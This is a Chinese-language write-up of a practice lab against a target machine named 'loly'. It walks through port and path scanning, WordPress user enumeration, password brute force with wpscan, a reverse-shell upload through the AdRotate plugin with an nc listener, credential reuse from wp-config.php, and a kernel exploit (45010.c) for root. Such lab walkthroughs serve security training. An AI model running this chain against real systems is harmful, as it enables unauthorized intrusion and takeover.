靶机ip:172.16.33.25
突破
端口扫描
sudo nmap -p- 172.16.33.25 --open
结果如下:
特定端口扫描
sudo nmap -p80 -sV -A 172.16.33.25
结果如下:
对其进行路径扫描:
dirsearch -u http://172.16.33.25
对其进行文件扫描:
dirsearch -u http://172.16.33.25 -f -e txt,php,html.pdf
结果如下:
针对80端口
直接访问ip地址,无发现,访问http:/172.16.33.25/wordpress/发现简陋页面,打开源码发现/loly.lc:
考虑绑定hosts文件
sudo vi /etc/hosts
添加下列语句进去
172.16.33.25 loly.lc
再次访问http://172.16.33.25/wordpress,发现完整页面,但是手动检查后发现没有可用漏洞。
既然有wordpress则想到wpscan漏扫工具,使用后发现loly这个用户名:
wpscan --url http://172.16.33.25/wordpress/ -e --api-token <自己的wpscan api>
对loly这个用户名进行密码爆破,得到密码:fernando
wpscan --url http://172.16.33.25/wordpress -U loly -P /usr/share/wordlists/nmap.lst
登录进入worpress管理界面
一番搜索之后,在AdRotate->Manage Media里发现了一个上传功能
仔细阅读小字,大致意思是:
接受的文件:jpg, jpeg, gif, png, svg, html, js和zip。每个文件的最大大小为512Kb。
重要:请确保文件名称中没有空格或特殊字符。用-或_替换空格。 Zip文件将在上传位置自动解压缩,解压缩后将删除原始Zip文件。
您可以在下面创建顶级文件夹。文件夹名称长度可以在1到100个字符之间。任何特殊字符都被去掉。
由此可以想到,将反弹php脚本先压缩,再进行上传操作,之后直接执行脚本文件本身。
在AdRotate->Settings里看到讲解,所有存储的文件均在/wordpress/wp-content/banners中。
则做好监听,直接访问http://172.16.33.25/wordpress/wp-content/banners/<脚本文件名>.php
nc -nvlp 1234
查看kali端,发现反弹成功,突破阶段完成。
提权
升级终端
python3 -c 'import pty;pty.spawn("/bin/bash")'
通过内核漏洞45010.c进行提权
查看内核信息以及版本信息:
用searchsploit搜索内核漏洞:
看到45010.c,下载后通过wget和python将该文件传输至kali端的/tmp目录下,尝试编译:
gcc -o bbb 45010.c
报错,这个错误可能是因为权限不够的原因。
在/var/www/html/wordpress里找到wp-config.php,查看其内容发现mysql数据库的账号和密码:
用这个密码尝试登录loly账户,成功
su loly
lolyisabeautifulgirl
再次尝试编译文件并运行45010.c,成功
提权成功,打靶完成。